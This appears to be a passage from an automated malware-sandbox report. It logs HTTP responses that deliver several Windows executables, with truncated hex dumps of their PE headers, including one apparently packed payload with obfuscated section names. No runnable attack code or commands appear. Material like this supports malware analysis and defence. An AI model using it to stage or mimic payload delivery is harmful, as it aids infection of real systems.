74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 23:27:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 23:27:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 23:27:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 23:27:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 23:27:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 23:27:58 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 23:28:02 GMTContent-Type: application/octet-streamContent-Length: 1950720Last-Modified: Sun, 17 Nov 2024 23:14:49 GMTConnection: keep-aliveETag: "673a78e9-1dc400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 10 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4d 00 00 04 00 00 dd 9b 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 f3 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 f2 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 71 68 6d 7a 77 73 77 00 b0 1a 00 00 50 32 00 00 a8 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 